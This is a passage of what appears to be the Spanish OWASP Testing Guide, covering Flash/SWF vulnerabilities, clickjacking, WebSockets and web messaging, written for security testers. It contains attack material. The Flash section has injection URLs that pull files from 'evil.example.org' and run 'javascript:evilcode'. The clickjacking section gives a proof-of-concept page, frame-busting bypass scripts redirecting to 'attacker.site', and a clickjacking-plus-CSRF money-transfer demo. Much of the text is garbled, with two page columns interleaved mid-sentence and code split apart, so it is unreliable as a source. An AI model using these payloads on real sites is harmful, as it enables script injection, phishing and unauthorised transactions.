El cdigo anterior podra ser atacado mediante la solicitud:
http://victim/file.swf?language=http://evil.example.org/malicious.xml?
Ejemplo:
movieClip 328 __Packages.Locale {

Mtodos inseguros

308
Cuando se identifica un punto de entrada, los datos que representa

podran ser utilizados por mtodos inseguros. Si los datos no se
filtran/validan usando la expresin regexp correcta, estos podran XSS
conducir a algn problema de seguridad.
GetURL (AS2) / NavigateToURL (AS3):
La funcin GetURL de ActionScript 2.0 y NavigateToURL en ActionScript

Los mtodos inseguros desde la versin r47 son: 3.0 permite que la pelcula cargue un URI en la ventana del navegador.
loadVariables()
loadMovie() As que si una variable indefinida se utiliza como el primer argumento

para getURL:
getURL()
getURL(_root.URI,_targetFrame);
loadMovie()
loadMovieNum()
o si un FlashVar se utiliza como el parmetro que se enva a una funcin
FScrollPane.loadScrollContent() navigateToURL:
LoadVars.load var request:URLRequest = new URLRequest(FlashVarSuppliedURL);
LoadVars.send navigateToURL(request);
XML.load ( url )
LoadVars.load ( url ) Entonces esto significar que es posible llamar a JavaScript en el mismo
dominio en el que la pelcula est alojada, solicitando:
Sound.loadSound( url , isStreaming );
http://victim/file.swf?URI=javascript:evilcode
NetStream.play( url );
getURL(javascript:evilcode,_self);
flash.external.ExternalInterface.call(_root.callback)
Lo mismo pasa cuando solamente se controla una parte de getURL:

htmlText
Dom Injection with Flash JavaScript injection
La prueba
getUrl(javascript:function(+_root.arg+))
Con el fin de aprovechar una vulnerabilidad, el archivo SWF debe estar
alojado en el host de la vctima, y se deben utilizar las tcnicas de XSS
reflejado. Eso obliga al navegador a cargar un archivo SWF puro
asfunction:
directamente en la barra de direcciones (mediante una redireccin o
ingeniera social) o cargndolo a travs de un iframe desde una pgina
Se puede utilizar el protocolo especial asfunction para que el enlace
maligna;
ejecute una funcin ActionScript en un archivo SWF en lugar de abrir una
<iframe src=http://victim/path/to/file.swf></iframe> URL. Hasta el lanzamiento de Flash Player 9 r48, asfunction poda ser
utilizada en cada mtodo que tiene una URL como argumento. Despus de
ese lanzamiento, asfunction se limita al uso dentro de un campo de texto
HTML.
Esto se debe a que en esta situacin el navegador autogenera una pgina
HTML como si fuera invitada por el host de la vctima.
309
Esto significa que un evaluador podra intentar inyectar: As que, si alguna parte del texto puede ser controlada por el evaluador,
una etiqueta A o una etiqueta IMG podra inyectarse, lo que resultara en
asfunction:getURL,javascript:evilcode la modificacin de la GUI o del uso de XSS en el navegador.
en cada mtodo inseguro como: Algunos ejemplos de ataque con una etiqueta A:
loadMovie(_root.URL) Direct XSS: <a href=javascript:alert(123) >
solicitando: Call a function: <a href=asfunction:function,arg >
http://victim/file.swf?URL=asfunction:getURL,javascript:evilcode
Call SWF public functions:
ExternalInterface: <a href=asfunction:_root.obj.function, arg>
ExternalInterface.call es un mtodo esttico introducido por Adobe para

mejorar la interaccin jugador/navegador con ActionScript 2.0 y
ActionScript 3.0. Call native static as function:
Desde el punto de vista de seguridad, podra ser objeto de abuso si parte La etiqueta IMG podra ser utilizada tambin:
de su argumento puede ser controlado:
<img src=http://evil/evil.swf >
flash.external.ExternalInterface.call(_root.callback);
<img src=javascript:evilcode//.swf > (.swf is necessary to bypass flash
player internal filter)
El patrn de ataque para este tipo de defecto podra ser algo como lo
siguiente:
Nota: desde el lanzamiento de Flash Player 9.0.124.0 del Flash player XSS
eval(evilcode) ya no es explotable, pero la modificacin GUI todava se puede lograr.
ya que el JavaScript interno ejecutado por el navegador ser algo como: Cross-Site Flashing
eval(try { __flash__toXML(+__root.callback+) ; } catch (e) { El cross-site flashing (XSF) es una vulnerabilidad que tiene un efecto
<undefined/>; }) similar a XSS.
Inyeccin HTML
Los objetos de campo de texto pueden hacer un HTML mnimo El XSF se produce desde diferentes dominios:
estableciendo:
Una pelcula carga otra pelcula con la funcin loadMovie * o con otros
tf.html = true hacks y tiene acceso a la misma zona protegida o a parte de ella.
tf.htmlText = <tag>text</tag>
El XSF tambin podra ocurrir cuando una pgina HTML utiliza

JavaScript para mandar una pelcula de Adobe Flash, por ejemplo,
comunicndose con:

310
que el usuario tiene en trusted.example.org para engaar al usuario a que

entre en su pgina web maliciosa. A partir de ah, se podra poner en
GetVariable: accede a los objetos pblicos y estticos de flash mediante marcha un 0-da, se llevara a cabo la suplantacin de la pgina web
una cadena JavaScript. original, o cualquier otro tipo de ataque. SWF puede, sin querer, estar
actuando como un redireccionador abierto en el sitio web.
SetVariable: fija un objeto esttico o pblico de flash en un nuevo valor

de cadena de JavaScript. Los desarrolladores deberan evitar tomar URL completas como variables
de Flash. Si slo se va a navegar dentro de su propio sitio web, entonces
se deberan utilizar URL relativas o comprobar que la URL comienza con
un dominio de confianza y protocolo.
Una comunicacin inesperada desde el navegador hacia el SWF podra
dar lugar al robo de datos de la aplicacin SWF.
Los ataques y la versin de Flash Player
Esto podra llevarse a cabo forzando a un SWF defectuoso a cargar un Desde mayo de 2007, tres nuevas versiones de Flash Player fueron
archivo flash malicioso externo. Este ataque podra resultar en XSS o en la lanzadas al mercado por Adobe. Cada nueva versin restringe algunos de
modificacin de la interfaz grfica del usuario, con el fin de engaarlo los ataques descritos anteriormente.
para que inserte sus credenciales en un formulario flash falso. El XSF
podra ser utilizado en presencia de una inyeccin de Flash HTML o de
archivos SWF externos cuando se utilicen mtodos loadMovie *.
Redirectores abiertos
Los SWF tienen la capacidad de navegar con el explorador. Si el SWF toma

el destino como un FlashVar, entonces el SWF puede ser utilizado como
un redirector abierto. Un redirector abierto es cualquier pieza de Resultado esperado:
funcionalidad en un sitio web de confianza, que un atacante puede utilizar
para redirigir al usuario a un sitio web malicioso. Estos se utilizan con Cross-Site Scripting y Cross-Site Flashing son los resultados esperados en
frecuencia dentro de los ataques de phishing. Al igual que en cross-site un archivo SWF defectuoso.
scripting, el ataque implica que un usuario final haga clic en un enlace
malicioso.
Herramientas
En el caso de Flash, la URL maliciosa podra verse como: Adobe SWF Investigator: labs.adobe.com
http://trusted.example.org/trusted.swf?getURLValue=http://www.evil-
spoofing-website.org/phishEndUsers.html
SWFScan: downloadcrew.com
En el ejemplo anterior, un usuario final puede ver que la URL comienza en

SWFIntruder: owasp.org
su sitio web favorito, de confianza, y hace clic en l. El enlace carga el
archivo SWF de confianza que tiene el getURLValue y le proporciona una
llamada de navegacin del navegador ActionScript:
Decompiler - Flare: nowrap.de
getURL(_root.getURLValue,_self);
Compiler - MTASC: mtasc.org

Este navegara con el explorador a la URL maliciosa, proporcionada por el
atacante. En este punto, el phisher ha aprovechado con xito la confianza

311
Disassembler - Flasm: flasm.sourceforge.net "Clickjacking" (que es un subconjunto de UI redressing) es una tcnica

maliciosa que consiste en engaar a un usuario web para que interacte
(en la mayora de los casos haciendo clic) con algo diferente a lo que el
usuario cree que est interactuando.
Swfmill - Convert Swf to XML and vice versa: swfmill.org
Este tipo de ataque, que puede ser utilizado solo o en combinacin con
Debugger Version of Flash Plugin/Player: adobe.com otros ataques, podra potencialmente enviar comandos no autorizados o
revelar informacin confidencial mientras la vctima est interactuando
con pginas web aparentemente inofensivas. El trmino "clickjacking" fue
acuado por Jeremiah Grossman y Robert Hansen en 2008.
Referencias
OWASP
Un ataque de clickjacking utiliza caractersticas aparentemente inocuas
Proyecto de Seguirdad Flash OWASP: El Proyecto de Seguirdad OWASP
de HTML y Javascript para obligar a la vctima a realizar acciones no
Flash tiene incluso ms referencias que las que se enumeran a
deseadas tales como hacer clic en un botn que parece realizar otra
continuacin:
operacin. Se trata de un problema de seguridad "del lado del cliente",
que afecta a una gran variedad de navegadores y plataformas
owasp.org
Para llevar a cabo este tipo de tcnica, el atacante tiene que crear una
Libros Blancos
pgina web aparentemente inofensiva que cargue la aplicacin al objetivo
de destino, mediante el uso de un iframe (convenientemente oculto
Testing Flash Applications: A new attack vector for XSS
mediante el uso de cdigo CSS).
and XSFlashing: owasp.org
Una vez que esto se ha hecho, el atacante podra inducir a la vctima a

Finding Vulnerabilities in Flash Applications: owasp.org interactuar con su pgina web ficticia por otros medios (como por
ejemplo ingeniera social). Al igual que otros ataques, un requisito
habitual es que la vctima sea autenticada contra el sitio web de destino
del atacante.
Adobe security updates with Flash Player 9,0,124,0 to reduce
cross-site attacks: adobe.com
Securing SWF Applications: adobe.com
The Flash Player Development Center Security Section:
adobe.com
The Flash Player 10.0 Security Whitepaper: adobe.com
Prueba de Clickjacking (OTG-CLIENT-009)
Resumen
312
Una vez que la vctima navega en la pgina web ficticia, piensa que est <html>
interactuando con la interfaz de usuario visible, pero efectivamente est
llevando a cabo acciones en la pgina oculta. <head>
<title>Clickjack test page</title>
Debido a que la pgina oculta es una pgina autntica, el atacante puede </head>
engaar a los usuarios para realizar acciones que nunca tuvieron la
intencin de hacer a travs de un posicionamiento "ad hoc" de los <body>
elementos de la pgina web.
<p>Website is vulnerable to clickjacking!</p>
<iframe src=http://www.target.site width=500

height=500></iframe>
</body>
</html>
Resultado esperado: Si se puede ver el texto "Sitio web vulnerable a

clickjacking" (Website is vulnerable to clickjacking!) en la parte superior
de la pgina y su pgina web de destino logra cargarla correctamente en
El poder de este mtodo se debe al hecho de que las acciones realizadas el marco, entonces su sitio es vulnerable y no tiene ningn tipo de
por la vctima se originaron desde la pgina web autntica (oculta pero proteccin contra los ataques de clickjacking. Ahora usted puede crear
autntica). En consecuencia, algunas de las protecciones contra CSRF directamente una "prueba de concepto" para demostrar que un atacante
realizadas por los desarrolladores para proteger a la pgina web de los podra aprovechar esta vulnerabilidad.
ataques CSRF podran ser evadidas.
Pasar por alto la proteccin para Clickjacking:

Cmo probar
En el caso que slo se vea el sitio de destino o el texto "Sitio Web
Como se mencion anteriormente, este tipo de ataque es, a menudo, vulnerable a clickjacking!", pero no aparece nada en el iframe, esto quiere
diseado para permitir que el sitio del atacante pueda inducir al usuario decir que el objetivo probablemente tiene algn tipo de proteccin contra
hacia el sitio de destino, incluso si se utilizan fichas contra-CSRF. As que el clickjacking. Es importante tener en cuenta que esto no es una garanta
es importante, al igual que para el ataque CSRF, identificar las pginas de que la pgina sea totalmente inmune a clickjacking.
web del sitio de destino que reciben datos ingresados por el usuario.
Los mtodos para proteger una pgina web del clickjacking se pueden
Tenemos que descubrir si el sitio web que estamos probando no tiene dividir en dos grandes categoras:
ninguna proteccin contra ataques de clickjacking o, si los
desarrolladores han puesto en prctica algunas formas de proteccin, si
estas tcnicas son susceptibles de ser evadidas. Una vez que sabemos que
Proteccin del lado del cliente: Frame Busting
el sitio web es vulnerable, podemos crear una "prueba de concepto" para
explotar la vulnerabilidad.
Proteccin del lado del servidor: X-Frame-Options
El primer paso para descubrir si un sitio web es vulnerable es comprobar

En algunas circunstancias, cada uno de los tipos de defensa podran ser
si la pgina web de destino podra ser cargada en un iframe. Para ello es
evitados. A continuacin se presentan los principales mtodos de
necesario crear una pgina web sencilla, que incluya un marco que
proteccin contra estos ataques y las tcnicas para evitarlos.
contenga la pgina web de destino. El cdigo HTML para crear esta
pgina web de pruebas se muestra en el siguiente fragmento:

313
Proteccin del lado del clente: Frame Busting convierte en una violacin de la seguridad en todos los navegadores
populares debido a la poltica de navegacin de marco descendiente.
El mtodo ms comn del lado del cliente, que ha sido desarrollado para poltica. Esta violacin de seguridad impide la navegacin contra-accin.
proteger a una pgina web del clickjacking, se llama Frame Busting y se
compone de un script o secuencia de comandos en cada pgina, que no El cdigo del sitio de destino del frame busting (sitio de destino):
deben ser enmarcados. El objetivo de esta tcnica es evitar que un sitio
funcione cuando se carga dentro de un marco. if(top.location!=self.locaton) {
parent.location = self.location;
La estructura del cdigo frame busting consiste tpicamente en una "frase }

condicional" y un comando de "accin defensiva". Para este tipo de
proteccin, hay algunos mtodos alternativos que estn bajo el nombre Marco superior del atacante (fictitious2.html):
de "reventar el frame busting." Algunas de estas tcnicas son especficas
de un navegador, mientras que otras funcionan en todos los navegadores. <iframe src=fictitious.html>
Submarco ficticio del atacante (fictitious.html):
Versin mvil del sitio web <iframe src=http://target site>
Las versiones mviles de la pgina web son generalmente ms pequeas

y ms rpidas que las del escritorio y tienen que ser menos complejas
que la aplicacin principal. Las variantes mviles tienen, a menudo, Desactivacin de Javascript
menos proteccin, ya que existe la suposicin errnea de que un atacante
no puede atacar a una solicitud presentada por el telfono inteligente. Dado que este tipo de protecciones del lado del cliente se basan en el
Este es un error fundamental, ya que un atacante puede falsificar el cdigo frame busting de JavaScript, si la vctima tiene desactivado
origen real dado por un navegador web, de tal manera que una vctima no JavaScript o si es posible que un atacante pueda desactivar el cdigo
mvil puede ser capaz de visitar una aplicacin hecha para los usuarios JavaScript, la pgina web no tendr ningn mecanismo de proteccin
mviles. De este supuesto se deduce que, en algunos casos, no es contra el clickjacking.
necesario utilizar tcnicas de evadir el frame busting cuando hay
alternativas sin proteccin que permiten el uso de los mismos vectores de
ataque.
Hay tres tcnicas de desactivacin que se pueden utilizar con los marcos:
Marcos restringidos con Internet Explorer: A partir de

Enmarcado doble
Internet Explorer 6, un marco puede tener el atributo "seguridad" que, si
Algunas tcnicas de frame busting tratan de romper el marco mediante la se establece en el valor "restringido", asegura el cdigo JavaScript, los
asignacin de un valor al atributo "parent.location" en el comando controles ActiveX y redirige a otros sitios que no funcionan en el marco.
"contra-accin".
Ejemplo:
<iframe src=http://target site security=restricted></iframe>

Esas acciones son, por ejemplo:
self.parent.location = document.location
Atributo Sandbox: con HTML5 hay un nuevo atributo llamado
parent.location.href = self.location
"sandbox". ste permite un conjunto de restricciones en el contenido
parent.location = self.location cargado en el iframe. Por el momento, este atributo slo es compatible
con Chrome y Safari.
Este mtodo funciona bien hasta que la pgina de destino se encuentra

enmarcada en una sola pgina. Sin embargo, si el atacante encierra la
pgina web de destino en un bastidor que est anidado en otro (un marco
doble), a continuacin tratar de acceder a "parent.location", lo que se Ejemplo:

314
<iframe src=http://target site sandbox></iframe>
A continuacin un cdigo de ejemplo:
Modo Diseo: Paul Stone mostr un problema de seguridad en relacin pgina 204:
con el "designMode" que puede ser activado en la pgina de referencia (a
travs de document.designMode), desactivando JavaScript en la parte <?php
superior y el sub-marco. Actualmente, el modo de diseo se implementa
en Firefox e Internet Explorer 8. header(HTTP/1.1 204 No Content);
?>
El evento onBeforeUnload
El evento onbeforeunload podra ser utilizado para evadir el cdigo de Pgina del atacante:
frame busting. Este evento sucede cuando el cdigo de frame busting
quiere destruir el iframe cargando la URL en toda la pgina web y no slo <script>
en el iframe. La funcin de controlador devuelve una cadena que se dirige
al usuario para confirmar si quiere salir de la pgina. Cuando se muestra var prevent_bust = 0;
esta cadena al usuario es probablemente para cancelar la navegacin,
derrotando el intento del frame busting en el objetivo. window.onbeforeunload = function() {
prevent_bust++;
El atacante puede utilizar este ataque al registrar un evento de descarga };

en la primera pgina al usar el siguiente ejemplo de cdigo:
setInterval(
<h1>www.fictitious.site</h1>
function() {
<script>
if (prevent_bust > 0) {
window.onbeforeunload = function()
prevent_bust -= 2;
{
window.top.location =
return Do you want to leave fictitious.site?; http://attacker.site/204.php;
} }
</script> }, 1);
<iframe src=http://target site> </script>
La tcnica anterior requiere la interaccin del usuario, pero el mismo <iframe src=http://target site>
resultado se puede lograr sin preguntar al usuario. Para ello, el atacante
tiene que cancelar automticamente la solicitud de navegacin de entrada
en un controlador de eventos onbeforeunload, presentando en varias
Filtro XSS
ocasiones (por ejemplo, cada milisegundo) una solicitud de navegacin a
una pgina web que responde a un encabezado "HTTP / 1.1 204 No
A partir de Google Chrome 4.0 y de IE8, se introdujeron filtros XSS para
Content".
proteger a los usuarios contra ataques reflejados XSS. Nava y Lindsay han
observado que este tipo de filtros se puede utilizar para desactivar el
cdigo de frame busting falso como cdigo malicioso.
Ya que con esta respuesta el navegador no va a hacer nada, el resultado
de esta operacin es la descarga de la tubera solicitada, inutilizando el
intento del frame busting.
Filtro de IE8 XSS: este filtro tiene visibilidad en todas las solicitudes y
los parmetros de respuestas fluyen a travs del navegador web y se los

315
compara con un conjunto de expresiones regulares con el fin de buscar site/?param=if(top+!%3D+self)+%7B+top.location%3Dself.location%3B+%7

los intentos reflejado de XSS. Cuando el filtro identifica un posible ataque D>
XSS, se desactivan todas las secuencias de comandos dentro de la pgina,
incluyendo los scripts de frame busting (lo mismo podra hacerse con
guiones externos). Por esta razn, un atacante podra inducir un falso
positivo insertando el comienzo de la secuencia de comandos de frame Redefinicin de localizacin
busting en un los parmetros de solicitud.
Para varios navegadores, la variable "document.location" es un atributo
inmutable. Sin embargo, para algunas versiones de Internet Explorer y
Safari es posible redefinir este atributo. Este hecho puede ser explotado
Ejemplo: cdigo de frame busting en la pgina web destinada: para evadir el cdigo de frame busting.
if ( top != self )
{ Redefinicin de localizacin en IE7 e IE8: es posible redefinir

"localizacin", como se ilustra en el siguiente ejemplo. Mediante la
top.location=self.location; definicin de "localizacin" como una variable, cualquier cdigo que
intente leer o navegar por la asignacin de "top.location" producir un
} error debido a una violacin de seguridad y as se suspender el cdigo
de frame busting.
</script>
Ejemplo:
Cdigo de ataque:
<script>
<iframe src=http://target site/?param=<script>if>
var location = xyz;
</script>
Chrome 4.0 XSSAuditor filter: Chrome tiene un comportamiento un poco
diferente en comparacin con el filtro de IE8 XSS. De hecho, con este filtro un <iframe src=http://target site></iframe>
atacante podra desactivar un "guin" que pasa por su cdigo en un parmetro de
la solicitud. Esto permite que la pgina de encuadre se dirija especficamente a un Redefinicin de localizacin en Safari 4.0.4: Para romper el cdigo de
nico fragmento que contiene el cdigo de frame busting, dejando intactos todos frame busting con "top.location", es posible enlazar "localizacin" a una
los dems cdigos. funcin a travs de defineSetter (a travs de la ventana), de manera que
un intento de leer o navegar a la "top.location" producir un error.
Ejemplo: cdigo de frame busting en la pgina web destinada:

Ejemplo:
<script>
<script>
if ( top != self )
window.defineSetter(location , function(){});
{
</script>
top.location=self.location;
<iframe src=http://target site></iframe>
}
</script>
Proteccin del lado del servidor: X-Frame-Options
Un enfoque alternativo del lado del cliente para el cdigo de frame

Cdigo de ataque: busting fue implementado por Microsoft, y consiste en un encabezado
basado en una defensa. Este nuevo encabezado "X-Frame-Options" se
<iframe src=http://target enva desde el servidor en las respuestas HTTP y se utiliza para marcar
316
las pginas web que no deben ser enmarcadas. Este encabezado puede destino permite autenticar y autorizar a los usuarios a realizar una
tomar los valores DENY (Negar), SAMEORIGIN (Mismo origen), ALLOW- transferencia de dinero a otra cuenta.
FROM origin (permitir desde el origen), o non-standard ALLOWALL (no
estndar permitir todo). El valor recomendado es DENY.
Supongamos que para ejecutar la transferencia, los desarrolladores han

previsto tres pasos. En el primer paso, el usuario llena un formulario con
El encabezado "X-Frame-Options" es una solucin muy buena y fue la cuenta de destino y la cantidad. En el segundo paso, cada vez que el
adoptada por los principales navegadores, pero hay algunas limitaciones usuario enva el formulario, se presenta una pgina de resumen pidiendo
que podran conducir a la explotacin de la vulnerabilidad de clickjacking. confirmacin (como la que se presenta en la siguiente imagen).
Compatibilidad del navegador
Ya que el encabezado "X-Frame-Options" se introdujo en 2009, ste no es

compatible con un navegador antiguo. Cada usuario que no tenga un
navegador actualizado podra ser vctima de un ataque de clickjacking.
Un fragmento del cdigo como ejemplo para el paso 2:
//generate random anti CSRF token
$csrfToken = md5(uniqid(rand(), TRUE));/
/set the token as in the session data
$_SESSION[antiCsrf] = $csrfToken;
//Transfer form with the hidden field
$form =
Proxies
<form name=transferForm action=confirm.php method=POST>
Los web proxies son conocidos por aadir y quitar encabezados. En el
caso en el que un web proxy despoje al encabezado "X-Frame-Options", el <div class=box>
sitio pierde su proteccin de enmarcar.
<h1>BANK XYZ - Confirm Transfer</h1>
<p>
Versin mvil del sitio web
Do You want to confirm a transfer of <b>.
Tambin en este caso, ya que el encabezado"X-Frame-Options" tiene que $_RE UEST[amount] . </b> to account: <b>. $_RE UEST[account]
ser implementado en todas las pginas del sitio web, los desarrolladores .</b> ?
pueden no haber protegido a la versin mvil de la pgina web.
</p>
<label>
Crear una "prueba de concepto"
<input type=hidden name=amount
Una vez que hemos descubierto que el sitio que estamos probando es value= . $_RE UEST[amount] . />
vulnerable a los ataques de clickjacking, podemos proceder con el
desarrollo de una "prueba de concepto" para demostrar la vulnerabilidad. <input type=hidden name=account
Es importante sealar que, como se mencion anteriormente, estos value= . $_RE UEST[account] . />
ataques se pueden utilizar en combinacin con otras formas de ataques
(por ejemplo ataques CSRF) y podran conducir a vencer los tokens anti- <input type=hidden name=antiCsrf
CSRF. En este sentido, podemos imaginar que, por ejemplo, el sitio de value= . $csrfToken . />
317
<input type=submit class=button evadir la proteccin anti-CSRF y obligar a la vctima a hacer una
value=Transfer Money /> transferencia de dinero sin su consentimiento.
</label>
La pgina de destino para el ataque es el segundo paso del procedimiento

de transferencia de dinero. Dado que los desarrolladores ponen los
</div> controles de seguridad slo en el ltimo paso, pensando que esto es lo
suficientemente seguro, el atacante podra pasar la cuenta y los
</form>; parmetros de cantidad mediante el mtodo GET. (Nota: Hay un intento
de clickjacking avanzado que permite a un atacante obligar al usuario a
llenar un formulario, haciendo el clickjacking factible incluso para los
sitios en los que se requiere llenar formularios.
En el ltimo paso, estn los controles de seguridad planificados y, entonces, si todo
est bien, se hace la transferencia. El siguiente es un fragmento del cdigo del
ltimo paso (Nota: en este ejemplo, para simplificar, no hay ninguna limpieza de
entrada, pero no es relevante bloquear este tipo de ataque): La pgina del atacante puede verse como una simple e inofensiva pgina
web como la que se presenta a continuacin:
if( (!empty($_SESSION[antiCsrf])) && (!empty($_POST[antiCsrf])) )
//here we can suppose input sanitization code
Pero, al jugar con el valor de opacidad CSS, podemos ver lo que se

esconde debajo de una pgina web aparentemente inocua.
//check the anti-CSRF token
if( ($_SESSION[antiCsrf] == $_POST[antiCsrf]) )
echo <p> . $_POST[amount] . successfully

transfered to account: . $_POST[account] . </p>;
else El cdigo de clickjacking que crea esta pgina se presenta a continuacin:
{ <html>
echo <p>Transfer KO</p>; <head>
} <title>Trusted web page</title>
Como se puede ver, el cdigo est protegido de ataques CSRF de dos <style type=text/css><!--
maneras: una con un token aleatorio generado en el segundo paso y la
otra, aceptando solamente el mtodo de variable pasada va POST. En esta *{
situacin, un atacante podra forjar un ataque CSRF + Clickjacking para
margin:0;

318
padding:0; Recursos OWASP
} Clickjacking
body {
background:#ffffff; Libros Blancos
} Marcus Niemietz: UI Redressing: Attacks and Countermeasures
.button Revisited: ui-redressing.mniemietz.de
padding:5px; Clickjacking: en.wikipedia.org
background:#6699CC;
left:275px; Gustav Rydstedt, Elie Bursztein, Dan Boneh, and Collin Jackson:
Busting Frame Busting: a Study of Clickjacking Vulnerabilities on Popular

width:120px;
Sites: seclab.stanford.edu
border: 1px solid
Paul Stone: Next generation clickjacking: media.blackhat.com

Con la ayuda de CSS (note el #clickjacking bloqueo) podemos enmascarar
y posicionar el iframe adecuadamente, de tal manera que coincida con los
botones. Si la vctima hace clic en el botn "Haga clic y listo!", el
Prueba de los WebSockets (OTG-CLIENT-010)
formulario se enva y se completa la transferencia.
Resumen
Tradicionalmente, el protocolo HTTP slo permita una

solicitud/respuesta por conexin TCP. Asynchronous JavaScript y XML
(AJAX) permiten a los clientes enviar y recibir datos de forma asncrona
(en segundo plano sin una actualizacin de la pgina) al servidor, sin
embargo, AJAX requiere que el cliente inicie las peticiones y espere las
respuestas del servidor (half-duplex).
WebSockets HTML5 permiten al cliente / servidor crear canales de

comunicacin "full-duplex" (bidireccional), permitiendo que el cliente y el
servidor puedan comunicarse verdaderamente en forma asncrona. Los
El ejemplo que se presenta slo utiliza la tcnica bsica de clickjacking, WebSockets conducen su 'actualizacin' handshake inicial a travs de
pero, con una tcnica avanzada, es posible obligar al usuario a llenar un HTTP y, de ah, toda la comunicacin se lleva a cabo a travs de canales
formulario con valores definidos por el atacante. TCP mediante el uso de marcos.
Herramientas
Contexto Seguridad de la Informacin: "Herramienta de clickjacking": Origen

contextis.com
Es responsabilidad del servidor verificar el encabezado de Origen en el
handshake inicial WebSocket HTTP. Si el servidor no valida el encabezado
de origen en el handshake inicial WebSocket, el servidor WebSocket
Referencias puede aceptar conexiones de cualquier origen. Esto podra permitir a los
atacantes comunicarse con el servidor de WebSocket cross-domain

319
permitiendo situaciones del tipo Top 10 2013-A8-Cross-Site Request Use herramientas para desarrolladores de Google Chrome para acceder a la
Forgery (CSRF) Red WebSocket de comunicacin.
Confidencialidad e integridad Use OWASP Zed Ataque Proxy (ZAP) 's WebSocket tab.
Los WebSockets se pueden utilizar en un TCP no cifrado o en un TLS

cifrado. Para usar WebSockets sin cifrar se utiliza la ws:// esquema URI
(puerto predeterminado 80), para websockets cifrados (TLS) se utiliza la
wss:// esquema de URI (puerto por defecto 443). Preste atencin a los
problemas de Top 10 2013-A6-Sensitive Data Exposure . 2. Origen.
Usando un cliente WebSocket (se puede encontrar uno en la seccin de

Herramientas que est a continuacin) intente conectarse al servidor WebSocket
Autenticacin remoto. Si se establece una conexin, el servidor puede no estar comprobando el
encabezado de origen del WebSocket handshake.
Los WebSockets no manejan la autenticacin. En lugar de ello, se aplican
los mecanismos normales de autenticacin de aplicaciones tales como
cookies, autenticacin HTTP o autenticacin TLS. Preste atencin a los
3. Confidencialidad e integridad.
problemas de Top 10 2013-A2-Broken Authentication and Session
Management.
Compruebe que la conexin WebSocket utiliza SSL para transportar informacin
sensible (WSS: //).
Autorizacin
Los WebSockets no manejan autorizacin. Se aplican mecanismos de autorizacin

de uso habituales. Preste atencin a los problemas de Top 10 2013-A4-Insecure
Compruebe la implementacin de SSL para problemas de seguridad (certificado
Direct Object References and Top 10 2013-A7-Missing Function Level Access
vlido, BEAST, CRIME, RC4, etc). Consulte la seccin de Pruebas de
Control.
codificadores SSL/TLS dbiles, proteccin de transporte de capas insuficiente
(OTG-CRYPST-001) de esta gua.
Desinfeccin de entrada
4. Autenticacin.
Al igual que con todos los datos procedentes de fuentes no confiables, los datos
deben ser adecuadamente desinfectados y codificados. Preste atencin a los
Los WebSockets no manejan la autenticacin, por lo que deben llevarse a
problemas de Top 10 2013-A1-inyeccin y Top 10 2013-A3-Cross-Site Scripting
cabo pruebas normales de autenticacin de Caja Negra. Consulte las secciones
(XSS).
de pruebas de autenticacin de esta gua.
5. Autorizacin.
Cmo probar
Los WebSockets no manejan la autorizacin, por lo que deben llevarse a cabo
Prueba de Caja Negra pruebas normales de habilitacin de Caja Negra. Consulte las secciones de pruebas
de autorizacin de esta gua.
1. Identificar que la aplicacin utiliza WebSockets.
Inspeccione el cdigo fuente del lado del cliente para los WS: // o WSS: //
esquema URI. 6. Desinfeccin de entrada.
Use el OWASP Zed Attack Proxy (ZAP)s WebSocket tab para volver a
reproducir y fuzz WebSocket para solicitud y respuestas. Consulte las
secciones de Prueba de validacin de datos de esta gua.

320
documentacin de la API para la aplicacin que se est probando, la cual

incluye el esperado WebSocket solicitud y respuestas.
Ejemplo 1
Una vez que se ha identificado que la aplicacin utiliza WebSockets (como

se describi anteriormente), podemos utilizar el OWASP Zed Ataque Herramientas
Proxy (ZAP) para interceptar la WebSocket para solicitud y respuestas.
Entonces se puede utilizar ZAP para reproducir y fuzz de los WebSockets OWASP Zed Attack Proxy (ZAP): owasp.org
solicitud / respuestas.
ZAP es una herramienta de pruebas de penetracin integrada, fcil de usar

para encontrar vulnerabilidades en aplicaciones web. Est diseada para ser
un conjunto de herramientas que le permiten encontrar vulnerabilidades
de seguridad de forma manual.
Cliente WebSocket - github.com
Ejemplo 2 Un cliente WebSocket que se puede utilizar para interactuar con un

servidor WebSocket.
Usando un cliente WebSocket (se puede encontrar uno en la seccin
Herramientas abajo), intente conectarse al servidor remoto WebSocket. Si
se permite la conexin, el servidor WebSocket puede no estar revisando
el encabezado de origen del WebSocket handshake. Intente reproducir las Cliente WebSocket Google Chrome Simple: cromo google.com
solicitudes previamente interceptadas para verificar que la comunicacin
WebSocket cross-domain es posible.
Construye solicitudes personalizadas WebSocket y maneja las respuestas

para probar directamente los servicios de Websocket.
Referencias
Libros Blancos
HTML5 Rocks - Introducing WebSockets: Bringing Sockets to
the Web: html5rocks.com
W3C - The WebSocket API: dev.w3.org
Prueba de Caja Gris

IETF - The WebSocket Protocol: tools.ietf.org
Probar la Caja Gris es similar a probar la Caja Negra. En las pruebas de
Caja Gris, el probador de la pluma tiene un conocimiento parcial de la
solicitud. La nica diferencia aqu es que usted puede tener
Christian Schneider - Cross-Site WebSocket Hijacking (CSWSH):

321
christian-schneider.net Datos: Contenido del mensaje entrante
Jussi-Pekka Erkkil - WebSocket Security Analysis: juerkkil.iki.fi
Origen: Origen del documento emisor
Robert Koch- On WebSockets in Penetration Testing:
ub.tuwien.ac.at Fuente: ventana de la fuente
DigiNinja - OWASP ZAP and Web Sockets: digininja.org Un ejemplo:
Enviar mensaje:
Prueba de mensajera web (Web Messaging) (OTG-CLIENTE-011)
Resumen iframe1.contentWindow.postMessage(Hello
world,http://www.example.com);
Web Messaging (tambin conocido como Cross Document Messaging)
permite a las aplicaciones que se ejecutan en diferentes dominios
comunicarse de una manera segura. Antes de la introduccin de la web de
mensajera, la comunicacin de diferentes orgenes (entre iframes, Recibir mensaje:
pestaas y ventanas) fue restringida por la poltica del mismo origen y
puesta en vigor por el navegador; sin embargo, los desarrolladores
utilizan varios cortes con el fin de llevar a cabo estas tareas, la mayora de
ellas principalmente inseguras. window.addEventListener(message, handler, true);
function handler(event) {
Esta restriccin en el navegador est colocada para evitar que un sitio if(event.origin === chat.example.com) {
web malicioso pueda leer datos confidenciales de otros iframes, tabs, etc,
sin embargo, hay algunos casos donde dos legtimos sitios web de /* process message (event.data) */
confianza necesitan intercambiar datos entre s.
} else {
/* ignore messages from untrusted domains */

Para satisfacer esta necesidad, se introdujo Cross Document Messaging
dentro del borrador de la especificacin WHATWG HTML5 y se }
implement en todos los principales navegadores. Esto permiti una
comunicacin segura entre mltiples orgenes a travs de iframes, }
pestaas y ventanas.
